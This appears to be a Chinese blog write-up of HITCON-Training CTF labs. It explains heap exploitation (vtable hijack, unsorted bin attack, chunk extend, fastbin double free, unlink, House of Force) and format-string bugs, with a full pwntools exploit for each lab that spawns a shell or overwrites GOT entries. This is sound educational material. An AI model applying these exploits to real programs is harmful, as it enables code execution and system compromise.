链接:https://github.com/scwuaptx/HITCON-Training
[TOC]
1.lab15
这是一个c++的堆溢出,ida反汇编的乱七八糟的,网上找了源码,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| class Dog : public Animal{ public : Dog(string str,int w){ strcpy(name,str.c_str()); weight = w ; } virtual void speak(){ cout << "Wow ~ Wow ~ Wow ~" << endl ; } virtual void info(){ cout << "|---------------------|" << endl ; cout << "| Animal info |" << endl; cout << "|---------------------|" << endl; cout << " Weight :" << this->weight << endl ; cout << " Name : " << this->name << endl ; cout << "|---------------------|" << endl; } };
|
strcpy(name,str.c_str()),在这里发生堆溢出,
涉及到虚表,详情可见链接
简要来说目的就是通过栈溢出使下图变为下下图,从而实现任意代码执行
1 2 3 4 5
| +---------------+ | vtable address|----+ vtable +---------------+ | +------------+ | attrib | +----->| func1 | +---------------+ +------------+
|
1 2 3 4 5 6
| +---------------+ | fake address |----+ +---------------+ | fake table | attrib | | +-----------+ +-------------+ +---------------+ +--------->|&shellcode |----------->| shellcode | +-----------+ +-------------+
|
在ida里跟踪,发现zoo的名字存在类似数组的位置
在ida中验证,果然是这样,所以可以在此处填入shellcode
添加两个动物,查看内存占用情况
1 2
| dog_add('a'*8,0) dog_add('b'*8,1)
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import* context(os="linux", arch="amd64",log_level = "debug") elf = ELF("./zoo") libc = elf.libc
p=process("./zoo") def dog_add(name,weight): p.recvuntil(":") p.sendline("1") p.recvuntil(":") p.sendline(name) p.recvuntil(":") p.sendline(str(weight)) def remove(idx): p.recvuntil(":") p.sendline("5") p.recvuntil(":") p.sendline(str(idx)) def listen(idx): p.recvuntil(":") p.sendline("3") p.recvuntil(":") p.sendline(str(idx))
shellcode=asm(shellcraft.sh()) #shellcode="\x48\xb9\xff\xff\xff\xff\xff\xff\xff\xff\x49\xb8\xae\xb7\x72\xc3\xdb\xf0\xfa\xff\x49\x31\xc8\x41\x50\x49\xb8\xd0\x9d\x96\x91\xd0\xd0\x8c\x97\x49\x31\xc8\x41\x50\x49\xb8\xb7\xce\x2d\xad\x4f\xc4\xb7\x46\x49\x31\xc8\x41\x50\xff\xe4" nameofzoo=0x605420
p.recvuntil(":") p.sendline(shellcode+p64(nameofzoo)) dog_add('a'*8,0) dog_add('b'*8,1)
remove(0) fake_vptr=nameofzoo+len(shellcode) dog_add("c"*72+p64(fake_vptr),2) listen(0)
p.interactive()
|
2.lab14
unsortedbin attract
unsortedbin分配原则:
1 2 3
| /* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
|
所以我们尝试用堆溢出控制unsorted bin的bk指针
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import* #context.log_level='debug'
p=process('magicheap')
def create(size,context): p.recvuntil(":") p.sendline("1") p.recvuntil(":") p.sendline(str(size)) p.recvuntil(":") p.sendline(context) def edit(idx,size,context): p.recvuntil(":") p.sendline("2") p.recvuntil(":") p.sendline(str(idx)) p.recvuntil(":") p.sendline(str(size)) p.recvuntil(":") p.sendline(context) def delete(idx): p.recvuntil(":") p.sendline("3") p.recvuntil(":") p.sendline(str(idx)) magic=0x006020C0
create(0x10,'1111') create(0x80,'bbbb') create(0x30,'cccc')
delete(1) payload='d'*0x10+p64(0)+p64(0x91)+p64(0)+p64(magic-0x10) edit(0,0x30,payload) create(0x80,'bbbb') p.recvuntil(":") p.sendline("4869") p.recvuntil('Congrt !\n') success(p.recvline())
|
3.lab 13
chunk extend
堆结构如下
1 2 3 4
| struct heap { size_t size ; char *content ; }
|
申请0x18和0x10两个堆块
由于申请的空间要与0x10对齐,所以heap0的后0x8的空间被heap1复用
这里可以溢出一个字节,修改heap1的size为0x30
1 2 3 4
| if(heaparray[idx]){ printf("Content of heap : "); read_input(heaparray[idx]->content,heaparray[idx]->size+1); puts("Done !");
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import * context.log_level='debug'
p = process('./heapcreator') elf = ELF('./heapcreator') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def create(size, content): p.recvuntil(':') p.sendline('1') p.recvuntil(':') p.sendline(str(size)) p.recvuntil(':') p.sendline(content)
def edit(idx,context): p.recvuntil(':') p.sendline('2') p.recvuntil(':') p.sendline(str(idx)) p.recvuntil(':') p.sendline(context)
def show(idx): p.recvuntil(':') p.sendline('3') p.recvuntil(':') p.sendline(str(idx))
def delete(idx): p.recvuntil(':') p.sendline('4') p.recvuntil(':') p.sendline(str(idx)) atoi_got=elf.got['atoi']
create(0x18,'aaaa') create(0x10,'bbbb') pay1=p64(0)*3+p64(0x41) //修改heap1的size edit(0,pay1) delete(1) //释放heap1,得到size分别为0x30和0x10的两个chunk pay2='a'*0x20+p64(0x30)+p64(atoi_got) //伪造0x30大小的chunk create(0x30,pay2) //再次申请时优先分配刚释放的chunk,此时可以控制0x10chunk的指针 show(1)
p.recvuntil("Content : ") data=p.recvuntil('Done !') atoi_addr=u64(data.split("\n")[0].ljust(8,"\x00")) libc_base=atoi_addr-libc.symbols['atoi'] system_addr=libc_base+libc.symbols['system'] edit(1,p64(system_addr)) p.sendline('/bin/sh\00') p.interactive()
|
4.lab 12
Double Free,Fastbins Dup
学习链接:
https://www.jianshu.com/p/1f06e40711a2
https://blog.csdn.net/z231288/article/details/71330912
https://blog.csdn.net/qq_39153247/article/details/81878398
https://www.cnblogs.com/Ox9A82/p/5865420.html
0x601ffa处内存情况:
调试过程:
1 2
| raiseflower(0x50,"aaaa","red")#0 raiseflower(0x50,"bbbb","green")#1
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import * r = process('./secretgarden')
def raiseflower(length,name,color): r.recvuntil(":") r.sendline("1") r.recvuntil(":") r.sendline(str(length)) r.recvuntil(":") r.sendline(name) r.recvuntil(":") r.sendline(color)
def visit(): r.recvuntil(":") r.sendline("2")
def remove(idx): r.recvuntil(":") r.sendline("3") r.recvuntil(":") r.sendline(str(idx))
def clean(): r.recvuntil(":") r.sendline("4")
magic = 0x400c7b magic函数地址 fake_chunk = 0x601ffa 目标地址,这个地址恰好有符合fastbin范围的大小,故在此伪造chunk raiseflower(0x50,"da","red")#0 raiseflower(0x50,"da","red")#1 //double free remove(0) chunk0进入fastbins链表的第一个,不可以再次free remove(1) chunk1成为fastbins链表的第一个,fd指针指向chunk0 remove(0) hunk0进入fastbins链表的第一个,fd指向chunk1 raiseflower(0x50,p64(fake_chunk),"blue") raiseflower(0x50,"da","red") raiseflower(0x50,"da","red") //目的是将put_got的地址换成magic raiseflower(0x50,"a"*6 + p64(0) + p64(magic)*2 ,"red")//malloc in fake_chunk //这里p64(0) + p64(magic)*2或p64(0)*2 + p64(magic)都可以 r.interactive()
|
5 lab11
unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import*
p=process('./bamboobox') elf=ELF('./bamboobox') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def show(): p.recvuntil(":") p.sendline("1") def add(len,item): p.recvuntil(":") p.sendline("2") p.recvuntil(":") p.sendline(str(len)) p.recvuntil(":") p.sendline(item) def change(idx,len,item): p.recvuntil(":") p.sendline("3") p.recvuntil(":") p.sendline(str(idx)) p.recvuntil(":") p.sendline(str(len)) p.recvuntil(":") p.sendline(item) def remove(idx): p.recvuntil(":") p.sendline("4") p.recvuntil(":") p.sendline(str(idx))
head=0x6020c8 fd=head-0x18 bk=head-0x10 atoi_got=elf.got['atoi']
add(0x80,'aaaa') //大小在8-0x80之外,否则free后归入fastbins add(0x80,'bbbb') add(0x50,'cccc') //大小随便
fake_chunk=p64(0)+p64(0x80)+p64(fd)+p64(bk) fake_chunk=fake_chunk.ljust(0x80,'A') fake_chunk+=p64(0x80)+p64(0x90)
change(0,0x90,fake_chunk) remove(1)
pay=p64(0)*3 //从head-0x18开始填充 pay+=p64(atoi_got) change(0,0x80,pay) show()
p.recvuntil("0 : ") atoi_addr=u64(p.recvuntil(":")[:6].ljust(8,"\x00")) libc_base=atoi_addr-libc.symbols['atoi'] system_addr=libc_base+libc.symbols['system']
change(0,0x80,p64(system_addr)) //从head开始填充 p.recvuntil(":") #p.sendline("$0") p.sendline("/bin/sh") p.interactive()
|
House of Force
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import* p=process('./bamboobox') elf=ELF('./bamboobox') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(len,item): p.recvuntil(":") p.sendline("2") p.recvuntil(":") p.sendline(str(len)) p.recvuntil(":") p.sendline(item) def change(idx,len,item): p.recvuntil(":") p.sendline("3") p.recvuntil(":") p.sendline(str(idx)) p.recvuntil(":") p.sendline(str(len)) p.recvuntil(":") p.sendline(item)
magic=0x00400D49
add(0x30,'aaaa') pay='a'*0x30+p64(0)+p64(0xffffffffffffffff) //0xffffffffffffffff为-1的补码 change(0,0x40,pay)
fchunk_size=-0x40-0x20-0x10 //chunk+topchunk+pre_size+size add(fchunk_size,'bbbb') //抬高topchunk指针
add(0x10,p64(magic)*2)
p.interactive()
|
6 lab 8
格式化字符串漏洞
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import* context.log_level='debug'
p=process('./craxme')
#payload=p32(0x0804A038)+'%218x7$hn' MagicAddr=0x0804A038 payload = fmtstr_payload(7, {MagicAddr: 0xda}) p.recvuntil("Give me magic :") p.sendline(payload)
p.interactive()
|
7 lab7
格式化字符串漏洞
基本的格式化字符串参数
%c:输出字符,配上%n可用于向指定地址写数据。
%d:输出十进制整数,配上%n可用于向指定地址写数据。
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import* context.log_level='debug'
p=process('./crack')
payload=p32(0x0804A048)+'#'+'%10$s'+'#' //0x0804A048是password地址,ida中可以找到 print payload //'#'作为标志 p.recvuntil("What your name ? ") p.sendline(payload)
p.recvuntil("#") r=p.recvuntil("#") print r print r[:4] password=u32(r[:4]) p.recvuntil("Your password :") p.sendline(str(password))
p.interactive()
|